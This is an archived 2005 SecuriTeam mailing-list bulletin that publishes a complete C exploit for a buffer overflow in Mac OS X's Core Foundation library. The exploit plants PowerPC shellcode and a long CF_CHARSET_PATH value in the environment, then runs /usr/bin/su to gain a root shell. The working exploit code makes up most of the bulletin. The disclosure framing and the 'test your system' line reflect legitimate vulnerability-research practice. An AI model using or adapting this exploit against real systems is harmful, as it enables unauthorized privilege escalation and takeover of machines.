[EXPL] Apple Core Foundation Library "CF_CHARSET_PATH" Local Root Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 03/23/05

  • Next message: SecuriTeam: "[EXPL] Linux Kernel sys_epoll_wait Local Integer Overflow Exploit" 
    To: list@securiteam.com
Date: 23 Mar 2005 12:51:26 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Apple Core Foundation Library "CF_CHARSET_PATH" Local Root Exploit
    ------------------------------------------------------------------------

    SUMMARY

    Local exploitation of a buffer overflow vulnerability within the Core
    Foundation Library included by default in Apple Computer Inc.'s Mac OS X
    could allow an attacker to gain root privileges. The following exploit
    code can be used to test your system for the mentioned vulnerability.

    DETAILS

    Exploit:
    /*[ MacOS X[CF_CHARSET_PATH]: local root exploit. ]*********
    *
    * by: v9@fakehalo.us (fakehalo/realhalo)
    *
    * found by: iDefense (anon finder)
    *
    * saw the advisory on bugtraq and figured i'd slap this
    * together, so simple i had to. exploits via the
    * /usr/bin/su binary. you must press ENTER at the
    * "Password: " prompt.
    ***********************************************************/
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    static char exec[]= /* b-r00t's setuid(0)+exec(/bin/sh). */
    "\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb"
    "\x01\x70\x39\x40\x01\x70\x39\x1f\xfe\xdf\x7c\x68\x19\xae"
    "\x38\x0a\xfe\xa7\x44\xff\xff\x02\x60\x60\x60\x60\x7c\xa5"
    "\x2a\x79\x38\x7f\xfe\xd8\x90\x61\xff\xf8\x90\xa1\xff\xfc"
    "\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02\x7c\xa3"
    "\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e"
    "\x2f\x73\x68\x58";
    int main(void){
    unsigned int i=0;
    char *buf,*env[3];
    printf("(*)MacOS X[CF_CHARSET_PATH]: local root exploit.\n");
    printf("(*)by: v9@fakehalo.us, found by iDefense adv. (anon)\n\n");
    printf("[*] setting up the environment.\n");
    if(!(buf=(char *)malloc(1100+1)))exit(1);
    memcpy(buf,"CF_CHARSET_PATH=",16);
    for(i=16;i<1100;i+=4)*(long *)&buf[i]=(0xbffffffa-strlen(exec));
    env[0]=buf;
    env[1]=exec;
    env[2]=NULL;
    printf("[*] executing su... (press ENTER at the \"Password: \""
    " prompt)\n\n");
    if(execle("/usr/bin/su","su",0,env))
    printf("[!] failed executing /usr/bin/su.\n");
    exit(0);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:v9@fakehalo.us> v9.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[EXPL] Linux Kernel sys_epoll_wait Local Integer Overflow Exploit"

    Relevant Pages